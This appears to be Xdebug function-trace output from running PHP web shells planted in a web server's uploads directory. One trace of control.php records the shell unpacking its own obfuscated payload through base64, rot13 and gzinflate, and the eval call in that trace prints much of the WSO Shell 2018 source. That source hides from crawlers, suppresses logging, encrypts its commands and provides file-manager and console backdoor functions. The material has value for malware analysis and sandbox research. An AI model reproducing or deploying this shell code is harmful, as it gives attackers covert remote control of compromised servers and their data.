4	236	0	0.024282	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	236	1	0.024295	1259928
4	236	R			'prepend.php'
4	237	0	0.024309	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	237	1	0.024322	1260152
4	237	R			'prepend.php'
4	238	0	0.024335	1260240	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	238	1	0.024349	1260312
4	238	R			'prepend.php'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 0
4	239	0	0.024374	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	239	1	0.024388	1259360
4	239	R			'wso.php'
4	240	0	0.024401	1259344	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	240	1	0.024414	1259408
4	240	R			'wso.php'
4	241	0	0.024428	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	241	1	0.024441	1259616
4	241	R			'wso.php'
4	242	0	0.024455	1259408	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	95692
5	243	0	0.024469	1259408	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	297	2	'%1.2f'	93.44921875
5	243	1	0.024486	1259792
5	243	R			'93.45'
4	242	1	0.024499	1259448
4	242	R			'93.45 KB'
4	244	0	0.024514	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	244	1	0.024527	1259600
4	244	R			'wso.php'
4	245	0	0.024540	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	245	1	0.024553	1259728
4	245	R			'wso.php'
4	246	0	0.024567	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	246	1	0.024580	1259920
4	246	R			'wso.php'
4	247	0	0.024593	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	247	1	0.024606	1259920
4	247	R			'wso.php'
4	248	0	0.024618	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	248	1	0.024631	1260144
4	248	R			'wso.php'
4	249	0	0.024644	1260176	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	249	1	0.024657	1260240
4	249	R			'wso.php'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	250	0	0.024682	1259216	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	920	1	'/var/www/html/uploads/'
4	250	1	0.024696	1259408
4	250	R			'/var/www/html/uploads/'
4	251	0	0.024713	1259216	class_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	926	1	'ZipArchive'
4	251	1	0.024732	1259256
4	251	R			FALSE
4	252	0	0.024747	1259216	hardFooter	1		/var/www/html/uploads/wso.php(5) : eval()'d code	933	0
5	253	0	0.024759	1259216	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	242	1	'/var/www/html/uploads/'
5	253	1	0.024777	1259256
5	253	R			TRUE
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	242	$is_writable = ' <font color=\'#e6b000\'>[ Writeable ]</font>'
5	254	0	0.024805	1259216	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	247	1	'actionFilesMan'
5	254	1	0.024820	1259256
5	254	R			TRUE
5	255	0	0.024833	1259472	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	247	1	'/var/www/html/uploads/'
5	255	1	0.024847	1259664
5	255	R			'/var/www/html/uploads/'
5	256	0	0.024862	1259600	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	248	1	'actionFilesTools'
5	256	1	0.024877	1259640
5	256	R			TRUE
5	257	0	0.024890	1259856	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	250	1	'actionFilesMan'
5	257	1	0.024904	1259896
5	257	R			TRUE
5	258	0	0.024917	1260112	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	251	1	'actionFilesTools'
5	258	1	0.024931	1260152
5	258	R			TRUE
5	259	0	0.024944	1260496	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	253	1	'actionConsole'
5	259	1	0.024958	1260536
5	259	R			TRUE
5	260	0	0.024971	1260496	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	254	1	'actionFilesMan'
5	260	1	0.024985	1260536
5	260	R			TRUE
5	261	0	0.024999	1260752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	256	1	'/var/www/html/uploads/'
5	261	1	0.025013	1260944
5	261	R			'/var/www/html/uploads/'
4	252	1	0.025032	1259216
3	55	1	0.025041	1251944
2	13	1	0.025050	1251944
1	3	1	0.025063	1056160
			0.025096	873208
TRACE END   [2023-02-12 22:18:53.789043]

data/traces/daa387fbc0345a8fa7375832d46d9b7c_trace-1676248164.7355.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:29:50.633303]
1	0	1	0.000172	393528
1	3	0	0.000482	494152	{main}	1		/var/www/html/uploads/control.php	0	0
1		A						/var/www/html/uploads/control.php	4	$â–› = ''
2	4	0	0.000515	494152	base64_decode	0		/var/www/html/uploads/control.php	5	1	'c3RyX3JvdDEz'
2	4	1	0.000531	494224
2	4	R			'str_rot13'
1		A						/var/www/html/uploads/control.php	5	$wz0 = 'str_rot13'
2	5	0	0.000556	494192	base64_decode	0		/var/www/html/uploads/control.php	5	1	'Z3ppbmZsYXRl'
2	5	1	0.000570	494264
2	5	R			'gzinflate'
1		A						/var/www/html/uploads/control.php	5	$jn1 = 'gzinflate'
2	6	0	0.000594	494232	base64_decode	0		/var/www/html/uploads/control.php	5	1	'c3RyX3JvdDEz'
2	6	1	0.000608	494304
2	6	R			'str_rot13'
1		A						/var/www/html/uploads/control.php	5	$nj2 = 'str_rot13'
2	7	0	0.000632	494272	base64_decode	0		/var/www/html/uploads/control.php	5	1	'YmFzZTY0X2RlY29kZQ=='
2	7	1	0.000646	494352
2	7	R			'base64_decode'
1		A						/var/www/html/uploads/control.php	5	$gw3 = 'base64_decode'
2	8	0	0.000670	494320	base64_decode	0		/var/www/html/uploads/control.php	5	1	'N1Azcmt1SlZ0aWdNL3E1d3R0K0JpczdkY2U3SWpKQzRVUWFabFV3dEFnbFdJTzRnb0twQm1pQzVnNUFJRUpLNjYrODh3ckdaT1hEMjJUekR2TWc4dzJ5U1RNdmRhQU1pTXFxNmF0VSszemRNVXdWVmZ2ZG85K1Y0L2R0Lys1dHdPRittdTlucjlHRXlHVnErYTZOOStucFhrQWVETngvL0xmWVdubjhoSmFid21saSs4ODNWbDkxM2RNMTB6c2o0TW1iODNXeVowWHcybnMrK2VlZVBqN3VKY096UFdOak9aK3laNjVOZVh2MnYvL0YvUW4xWHpTYnpIZjMxLzRKZmRybmNmbXFmcGcvK24vaWc3V3U3NmRBMDJMUC9Cenp6N2Z6clNsK2tscWkweEovUzNXWDU0WXNNdjc3VU9pMmhuUDRGRzJvZVJxKy9hcWJZL2FzdmpXK3gzM2o5WjZGTnR5aHVoWnNyYXJlKyt1WE5tOVRmLysyL2ZUZWVqSE9q'
2	8	1	0.000975	592656
2	8	R			'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
1		A						/var/www/html/uploads/control.php	5	$vt4 = '7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	0	0.001116	592624	base64_decode	0		/var/www/html/uploads/control.php	5	1	'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	1	0.001349	666384
2	9	R			'���U�(\f��p�߁���q�Ȍ��Q\006��L-\002\tV � ��A� ���\b\020����<±�9p��<ü�<�l�L��h\003"2��j�>�7LS\005U~�h��x����p8_�����a2\031Z�k�}�zW�\a�7\037�-�\026�!%��X���՗�wt�t��2f��l��|6�Ͼy珏��p��X��g��^^����B}W�&�\035����_v��~j��\017�����k���4س�\a<���J_����ğ��e��\f���:-���\005\033j\036F��j���/�o��x�g�M�(n��+j����͛���}7��s��m�{��\032bF8"����b���?����\003\024�)z\035�\t\f\001ʿ�iϞ�Gcڧå��]:\030\020��|t�J�_Вp�������=\016촳�){tZ��Q+b��|�4\024+1\024�j\016�J\fr�\'Ƃ?�`��`4��u2�j4��u���q�u��}'
2	10	0	0.002313	666352	str_rot13	0		/var/www/html/uploads/control.php	5	1	'���U�(\f��p�߁���q�Ȍ��Q\006��L-\002\tV � ��A� ���\b\020����<±�9p��<ü�<�l�L��h\003"2��j�>�7LS\005U~�h��x����p8_�����a2\031Z�k�}�zW�\a�7\037�-�\026�!%��X���՗�wt�t��2f��l��|6�Ͼy珏��p��X��g��^^����B}W�&�\035����_v��~j��\017�����k���4س�\a<���J_����ğ��e��\f���:-���\005\033j\036F��j���/�o��x�g�M�(n��+j����͛���}7��s��m�{��\032bF8"����b���?����\003\024�)z\035�\t\f\001ʿ�iϞ�Gcڧå��]:\030\020��|t�J�_Вp�������=\016촳�){tZ��Q+b��|�4\024+1\024�j\016�J\fr�\'Ƃ?�`��`4��u2�j4��u���q�u��}'
2	10	1	0.003354	723728
2	10	R			'���H�(\f��c�߁���d�Ȍ��D\006��Y-\002\tI � ��N� ���\b\020����<±�9c��<ü�<�y�Y��u\003"2��w�>�7YF\005H~�u��k����c8_�����n2\031M�x�}�mJ�\a�7\037�-�\026�!%��K���՗�jg�g��2s��y��|6�Ͼl珏��c��K��t��^^����O}J�&�\035����_i��~w��\017�����x���4س�\a<���W_����ğ��r��\f���:-���\005\033w\036S��w���/�b��k�t�Z�(a��+w����͛���}7��f��z�{��\032oS8"����o���?����\003\024�)m\035�\t\f\001ʿ�vϞ�Tpڧå��]:\030\020��|g�W�_Вc�������=\016촳�){gM��D+o��|�4\024+1\024�w\016�W\fe�\'Ƃ?�`��`4��h2�w4��h���d�h��}'
2	11	0	0.004365	649968	gzinflate	0		/var/www/html/uploads/control.php	5	1	'���H�(\f��c�߁���d�Ȍ��D\006��Y-\002\tI � ��N� ���\b\020����<±�9c��<ü�<�y�Y��u\003"2��w�>�7YF\005H~�u��k����c8_�����n2\031M�x�}�mJ�\a�7\037�-�\026�!%��K���՗�jg�g��2s��y��|6�Ͼl珏��c��K��t��^^����O}J�&�\035����_i��~w��\017�����x���4س�\a<���W_����ğ��r��\f���:-���\005\033w\036S��w���/�b��k�t�Z�(a��+w����͛���}7��f��z�{��\032oS8"����o���?����\003\024�)m\035�\t\f\001ʿ�vϞ�Tpڧå��]:\030\020��|g�W�_Вc�������=\016촳�){gM��D+o��|�4\024+1\024�w\016�W\fe�\'Ƃ?�`��`4��h2�w4��h���d�h��}'
2	11	1	0.005844	801552
2	11	R			'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	0	0.006058	744176	str_rot13	0		/var/www/html/uploads/control.php	5	1	'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	1	0.006323	895760
2	12	R			'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\''
2	13	0	0.008729	1247016	eval	1	'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'SHELL 2018\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Wso Shell 2018<br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer;\'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> WSO " . VERSION ."</title>\r\n<style>\r\n\tbody {background-color:#0d0d0d; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #0d0d0d; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #0d0d0d;}\r\n\tspan,h1,a\t{color:#ff9900 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff5e00d9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#0d0d0d;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #0d0d0d;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#0d0d0d;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'submit\']:hover{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']:hover{background-color:#ff5e00d9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) 